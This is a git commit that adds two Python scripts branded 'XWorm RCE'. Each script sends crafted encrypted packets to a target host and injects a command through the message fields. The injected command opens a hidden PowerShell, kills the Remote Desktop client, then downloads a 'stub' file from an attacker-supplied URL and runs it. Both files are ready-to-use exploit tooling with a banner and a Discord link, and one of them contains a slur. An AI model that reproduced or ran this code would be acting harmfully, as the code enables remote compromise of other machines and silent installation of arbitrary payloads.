commit 98e7d16cd12c78d383457944571e2e6e6712a5f4 Author: i2p Date: Thu Aug 27 11:23:38 2026 -0600 initial commit diff --git a/rce.py b/rce.py new file mode 100644 index 0000000..3f09756 --- /dev/null +++ b/rce.py @@ -0,0 +1,100 @@ +import socket +import io +import time +import random +import string +import hashlib +import sys +import os +from Cryptodome.Cipher import AES +from Cryptodome.Util.Padding import pad, unpad +from colorama import Fore +import platform +import argparse + +class Packet: + def __init__(self, *data: list[bytes]): + self.data = data + + def write_bytes(self, into): + into.write(b''.join(self.data)) + + def get_bytes(self): + b = io.BytesIO() + self.write_bytes(b) + return b.getbuffer().tobytes() + +def genid(length=8): + return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length)) + +def sendpacket(sock, packet, key): + key_hash = hashlib.md5(key.encode('utf-8')).digest() + crypto = AES.new(key_hash, AES.MODE_ECB) + data = packet.get_bytes() + encrypted = crypto.encrypt(pad(data, 16)) + sock.send(str(len(encrypted)).encode('utf-8') + b'\0') + sock.send(encrypted) + return encrypted + +def rce(host, port, key): + client_id = genid() + + + file_url = "" # ur stub url + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + sock.connect((host, port)) + handshake_packet = Packet(b'hrdp', client_id.encode('utf-8')) + sendpacket(sock, handshake_packet, key) + time.sleep(0.5) + + file_extension = '.bat' if file_url.lower().endswith('.bat') else '.exe' + random_filename = f"{genid(5)}{file_extension}" + + if file_extension == '.bat': + ps_command = f"start powershell.exe -WindowStyle Hidden $url = \\\"{file_url}\\\"; taskkill /f /IM mstsc.exe; $outputPath = \\\"$env:TEMP\\\\{random_filename}\\\"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Process -FilePath 'cmd.exe' -ArgumentList '/c', $outputPath" + else: + ps_command = f"start powershell.exe -WindowStyle Hidden $url = \\\"{file_url}\\\"; taskkill /f /IM mstsc.exe; $outputPath = \\\"$env:TEMP\\\\{random_filename}\\\"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Sleep -s 3; cmd.exe /c start \"\" $outputPath" + + exploit_packet = Packet( + b'hrdp+', + client_id.encode('utf-8'), + b" lol", + f"\" & {ps_command}".encode('utf-8'), + b"1:1" + ) + + sendpacket(sock, exploit_packet, key) + sock.close() + + return True + +def main(): + parser = argparse.ArgumentParser(description='XWorm RCE') + parser.add_argument('--host', '-H', required=True, help='Target host') + parser.add_argument('--port', '-p', type=int, required=True, help='Target port') + parser.add_argument('--key', '-k', required=False, help='Encryption key', default="<123456789>") + args = parser.parse_args() + + print(Fore.YELLOW + f"[?] Executing file." + Fore.RESET) + print(Fore.YELLOW + f"[?] RCEING {args.host}:{args.port} with key {args.key}" + Fore.RESET) + rce(args.host, args.port, args.key) + print(Fore.GREEN + f"[+] Execution completed" + Fore.RESET) + +if __name__ == "__main__": + os.system("cls") if platform.system() == "Windows" else os.system("clear") + print( + Fore.RED + + r""" + _____ __ _ __ ____ ____________ + / ___// /_ (_) /__ ______ _________ ___ / __ \/ ____/ ____/ + \__ \/ __ \/ / __/ | /| / / __ \/ ___/ __ `__ \ / /_/ / / / __/ + ___/ / / / / / /_ | |/ |/ / /_/ / / / / / / / / / _, _/ /___/ /___ +/____/_/ /_/_/\__/ |__/|__/\____/_/ /_/ /_/ /_/ /_/ |_|\____/_____/ + +made by discord.gg/exposing + +""" + ) + main() diff --git a/rceinputted.py b/rceinputted.py new file mode 100644 index 0000000..716c127 --- /dev/null +++ b/rceinputted.py @@ -0,0 +1,95 @@ +import socket +import io +import time +import random +import string +import hashlib +import sys +import os +from Cryptodome.Cipher import AES +from Cryptodome.Util.Padding import pad, unpad +from colorama import Fore +import platform + +class Packet: + def __init__(self, *data: list[bytes]): + self.data = data + + def write_bytes(self, into): + into.write(b''.join(self.data)) + + def get_bytes(self): + b = io.BytesIO() + self.write_bytes(b) + return b.getbuffer().tobytes() + +def genid(length=8): + return 'sybauretard' + +def sendpacket(sock, packet, key): + key_hash = hashlib.md5(key.encode('utf-8')).digest() + crypto = AES.new(key_hash, AES.MODE_ECB) + data = packet.get_bytes() + encrypted = crypto.encrypt(pad(data, 16)) + sock.send(str(len(encrypted)).encode('utf-8') + b'\0') + sock.send(encrypted) + return encrypted + +def rce(host, port, key, file_url): + client_id = genid() + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + sock.connect((host, port)) + handshake_packet = Packet(b'hrdp', client_id.encode('utf-8')) + sendpacket(sock, handshake_packet, key) + time.sleep(0.5) + + file_extension = '.bat' if file_url.lower().endswith('.bat') else '.exe' + random_filename = f"{genid(5)}{file_extension}" + + if file_extension == '.bat': + ps_command = f"start powershell.exe -WindowStyle Hidden $url = \\\"{file_url}\\\"; taskkill /f /IM mstsc.exe; $outputPath = \\\"$env:TEMP\\\\{random_filename}\\\"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Process -FilePath 'cmd.exe' -ArgumentList '/c', $outputPath; taskkill /f /IM mstsc.exe" + else: + ps_command = f"start powershell.exe -WindowStyle Hidden $url = \\\"{file_url}\\\"; taskkill /f /IM mstsc.exe; $outputPath = \\\"$env:TEMP\\\\{random_filename}\\\"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Sleep -s 3; cmd.exe /c start \"\" $outputPath; taskkill /f /IM mstsc.exe; " + + exploit_packet = Packet( + b'hrdp+', + client_id.encode('utf-8'), + b" lol", + f"\" & {ps_command}".encode('utf-8'), + b"1:1" + ) + + sendpacket(sock, exploit_packet, key) + sock.close() + + return True + +def main(key, host, port, file_url): + + print(Fore.YELLOW + f"[?] Executing file." + Fore.RESET) + print(Fore.YELLOW + f"[?] RCEING {host}:{port} with key {key}" + Fore.RESET) + rce(host, port, key, file_url) + print(Fore.GREEN + f"[+] Execution completed" + Fore.RESET) + +if __name__ == "__main__": + os.system("cls") if platform.system() == "Windows" else os.system("clear") + print( + Fore.RED + + r""" + _____ __ _ __ ____ ____________ + / ___// /_ (_) /__ ______ _________ ___ / __ \/ ____/ ____/ + \__ \/ __ \/ / __/ | /| / / __ \/ ___/ __ `__ \ / /_/ / / / __/ + ___/ / / / / / /_ | |/ |/ / /_/ / / / / / / / / / _, _/ /___/ /___ +/____/_/ /_/_/\__/ |__/|__/\____/_/ /_/ /_/ /_/ /_/ |_|\____/_____/ + +made by discord.gg/exposing + +""" + ) + key = input(Fore.YELLOW + f"[?] Key: " + Fore.RESET) + host = input(Fore.YELLOW + f"[?] Host: " + Fore.RESET) + port = int(input(Fore.YELLOW + f"[?] Port: " + Fore.RESET)) + file_url = input(Fore.YELLOW + "[?] Whats stub url: ") + main(key, host, port, file_url)